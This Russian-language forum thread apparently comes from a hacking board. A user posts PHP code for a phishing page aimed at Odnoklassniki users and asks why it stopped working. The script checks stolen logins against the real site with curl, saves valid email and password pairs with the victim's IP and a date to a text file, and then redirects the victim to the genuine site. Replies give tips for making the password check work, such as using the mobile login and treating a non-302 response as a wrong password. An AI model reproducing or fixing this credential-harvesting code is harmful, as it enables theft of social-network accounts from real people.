php curl валидация одноклассники

Discussion in 'PHP' started by rixer, 20 Dec 2013.

  1. rixer

    rixer New Member

    Joined:
    15 Mar 2012
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Что то недавно поменяли на одноклассниках, перестал работать код авторизации на одноклассниках с валидацией данных.
    Точнее - работает: если данные введены верно то как и надо авторизует на свою страницу, но если введены неверно вместо переадресации на ошибочную страницу error.php, он выбрасывает на http://odnoklassniki.ru/dk?st.cmd=anonymMain&st.error=errors.password.wrong&st.email=
    Где загвоздка?

    PHP:
    <?php 
    if($_POST['st.email'] && $_POST['st.password']) 

    $ip $_SERVER['REMOTE_ADDR'];
    $Data date("d-m-y H:i:s"time());
     
    $gfl=curl_init("http://www.odnoklassniki.ru/dk?cmd=AnonymLogin&amp;st.cmd=anonymLogin&amp;tkn=810&st.redirect=&st.posted=&st.email=".$_POST[st.email]."&st.password=".$_POST[st.password]."&st.remember=&st.fJS=&st.screenSize=&st.browserSize=&st.flashVer=&button_go=Войти HTTP/1.0\r\n"); 
    curl_setopt($gflCURLOPT_RETURNTRANSFERtrue); 
    curl_setopt($gflCURLOPT_HEADERtrue); 
    curl_setopt($gflCURLOPT_NOBODYtrue); 
    $fgh curl_exec($gfl); 
    if(!
    preg_match('/Location: http:\/\/www.odnoklassniki.ru\/dk?st.cmd=anonymMain&st.error/',$fgh)) 

    $flopen=fopen("baza.txt""a+"); 
    fwrite($flopen$login.":".$pass." IP:".$ip." Дата:".$Data."\n"); 
    fclose($flopen); 
     
    header("Location:http://odnoklassniki.ru/dk?cmd=AnonymLogin&amp;st.cmd=anonymLogin&amp;tkn=810&st.redirect=&st.posted=&st.email=".$_POST[st.email]."&st.password=".$_POST[st.password]."&st.remember=&st.fJS=&st.screenSize=&st.browserSize=&st.flashVer="); 

    else 

    header("Location:error.php"); 


    else 

    header("Location:error.php"); 

    ?>
     
  2. barnaki

    barnaki Elder - Старейшина

    Joined:
    2 Nov 2008
    Messages:
    676
    Likes Received:
    130
    Reputations:
    4
    так может они роутинг изменили на сервере ?
     
  3. LStr1ke

    LStr1ke Elder - Старейшина

    Joined:
    29 Jul 2009
    Messages:
    800
    Likes Received:
    145
    Reputations:
    73
    Я использовал для авторизации мобильную версию. Там при валидном пассе идет переадресация, при невалидном переадресации нету. Поэтому проверять проще.
     
  4. rixer

    rixer New Member

    Joined:
    15 Mar 2012
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    А каким образом ты проверяешь условие если пасс веден неверно?
     
  5. LStr1ke

    LStr1ke Elder - Старейшина

    Joined:
    29 Jul 2009
    Messages:
    800
    Likes Received:
    145
    Reputations:
    73
    Ну логично - если код ответа != 302, то пасс не правильный.